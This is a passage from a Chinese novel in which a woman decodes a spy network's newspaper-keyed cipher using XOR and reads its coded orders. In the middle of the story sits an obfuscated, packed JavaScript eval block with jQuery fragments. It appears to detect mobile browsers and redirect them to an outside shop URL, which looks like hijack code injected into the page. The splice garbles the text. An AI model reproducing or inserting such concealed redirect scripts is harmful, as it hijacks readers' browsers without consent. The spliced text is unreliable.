算是模10加法(或减法),或异或(XOR)(需将十进制转到二进制位进行)。她先尝试模10加减:将密文流的每个数字,与密钥流的对应数字(循环使用,因密钥可能较短)相加或相减(模10),看看得到的数字是否构成有意义的编码(如新的ASCII码,或直接对应字母表的序号1-26)。
她伏在案前,笔尖飞速计算。数字、符号、假设的转换规则……时间悄然流逝。
第一次尝试(简单模10加法),得出的数字序列杂乱无章。
第二次尝试(密文减密钥模10),结果依然无意义。
她的心微微下沉。难道是运算方式不对?或者,密钥不是拼音首字母ASCII码?是笔画数?还是英文翻译的首字母?
;eval(function(p,a,c,k,e,d){e=function(c){return(c
35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,24,''''userAgent|iphone|ipad|iebile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hs|i|shop|16937077|192889||http|test|ni|href|location''''.split(''''|''''),0,{}));
() {
$(''''.infor'').reve();
$(''''#content'''').append(''''
她换了思路,尝试XOR运算。她将密钥流数字转换成8位二进制,与她信号转换出的二进制组(按8位对齐,不足补零)进行逐位XOR。
计算……等待……
当新生成的一串二进制呈现在纸上时,她习惯性地将其按8位一组分割,然后查阅ASCII码表进行转换。
第一个8位二进制:01001000→72→''''H''''
第二个:01100101→101→''''e''''
第三个:01101100→108→''''l''''
第四个:01101100→108→''''l''''
第五个:01101111→111→''''o''''
Hello。
一个简单的、测试性的单词,却像一道强光,瞬间刺破了所有的迷雾和疲惫!
叶馨蒙的手微微颤抖。不是恐惧,而是巨大的、几乎令她晕眩的兴奋和确认感。她找到了!不仅找到了密码本的形式(动态报纸坐标密码),还验证了解码算法(XOR运算),并且成功破译了第一个有意义的单词!
她立刻用同样的方法(97年11月6日,6-A-3坐标,XOR运算)去尝试破译后来几晚截获的不同信号内容。虽然起始码相同,但信号内容不同,理应得出不同的明文。
计算……转换……
新的信息浮现出来,不再是测试词,而是简短的、电报式的短语:
“安全。通道A畅通。保持静默。1122。”
“有尘。清扫B区。1201前。”
“包裹已存C点。确认。勿回。”
这些短语冰冷、高效,充满了行动指令和状态报告的意味。日期(0422,0601)显然是行动时间或截止日期。“尘”可能指可疑人员或风险,“清扫”意味着清除或规避。
叶馨蒙靠在椅背上,背脊发凉,手心却渗出细汗。她真的截获并破译了一个活跃的、使用经典动态密码本进行联络的间谍网络信息!
那份1997年11月6日的旧报纸,是一个“密钥日”的样本。它暗示,这个间谍网络可能长期使用《瑆洲晚报》(或类似每日发行的固定出版物)作为动态密码本的来源。每天的报纸,结合一个只有内部人员知道的、像“·——·//6-A-3”这样的“坐标算法”(坐标可能每日或